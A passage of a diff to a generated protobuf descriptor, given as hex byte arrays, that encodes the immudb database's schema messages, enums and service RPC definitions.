0x65, 0x3a, 0x02, + 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, + 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, + 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, + 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3d, 0x0a, 0x0f, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, + 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, + 0x02, 0x38, 0x01, 0x4a, 0x04, 0x08, 0x06, 0x10, 0x07, 0x22, 0x28, 0x0a, 0x10, 0x55, 0x73, 0x65, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x12, 0x14, 0x0a, + 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x6f, + 0x6b, 0x65, 0x6e, 0x22, 0xaa, 0x01, 0x0a, 0x17, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, + 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x37, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, + 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, + 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, + 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x22, 0x4a, 0x0a, 0x14, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, + 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, + 0x76, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, + 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x4d, 0x0a, 0x14, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x17, 0x0a, 0x15, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x56, 0x32, 0x22, 0x5b, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x12, 0x41, + 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x53, 0x65, + 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x73, 0x22, 0x87, 0x01, 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, + 0x74, 0x68, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, + 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, + 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, + 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, + 0x6e, 0x67, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x22, 0x9e, 0x01, 0x0a, 0x05, + 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, + 0x3e, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x1a, + 0x3b, 0x0a, 0x0d, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, + 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x4e, 0x0a, 0x12, + 0x55, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x1e, 0x0a, 0x0a, + 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x22, 0x6d, 0x0a, 0x0e, + 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, + 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, + 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, + 0x61, 0x6d, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x7c, 0x0a, 0x0f, 0x53, + 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, + 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, + 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, + 0x61, 0x6d, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, + 0x73, 0x68, 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x72, 0x65, 0x75, 0x73, + 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x22, 0x4f, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, + 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, - 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, - 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, - 0x12, 0x2f, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, - 0x73, 0x12, 0x26, 0x0a, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x12, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x52, 0x6f, 0x77, 0x52, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, - 0x75, 0x6d, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, - 0x6f, 0x77, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, - 0x03, 0x28, 0x09, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, - 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0xa9, 0x01, - 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, - 0x6c, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, - 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, - 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, - 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, - 0x62, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, - 0x62, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, - 0x0a, 0x02, 0x74, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, - 0x12, 0x0e, 0x0a, 0x01, 0x66, 0x18, 0x07, 0x20, 0x01, 0x28, 0x01, 0x48, 0x00, 0x52, 0x01, 0x66, - 0x42, 0x07, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x8d, 0x02, 0x0a, 0x0c, 0x4e, 0x65, - 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, - 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, - 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x12, 0x57, 0x0a, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, - 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, - 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, - 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x12, 0x59, - 0x0a, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, - 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, - 0x64, 0x73, 0x52, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, - 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x75, 0x6e, 0x73, - 0x61, 0x66, 0x65, 0x4d, 0x56, 0x43, 0x43, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x75, - 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, 0x56, 0x43, 0x43, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, - 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, - 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, - 0x22, 0x35, 0x0a, 0x09, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, - 0x04, 0x63, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, - 0x65, 0x12, 0x14, 0x0a, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, - 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, - 0x74, 0x72, 0x79, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, - 0x5f, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, - 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x61, 0x79, 0x22, 0x5f, 0x0a, 0x17, 0x54, 0x72, 0x75, 0x6e, - 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, - 0x28, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, - 0x6f, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, - 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x36, 0x0a, 0x18, 0x54, 0x72, 0x75, - 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x2a, 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, - 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, - 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, - 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, - 0x0a, 0x10, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, - 0x06, 0x52, 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, - 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, - 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, - 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, - 0xb6, 0x34, 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, - 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, - 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, - 0x74, 0x12, 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, - 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x0a, 0x22, 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0e, 0x43, - 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, + 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, 0x0a, 0x0d, 0x53, 0x51, + 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 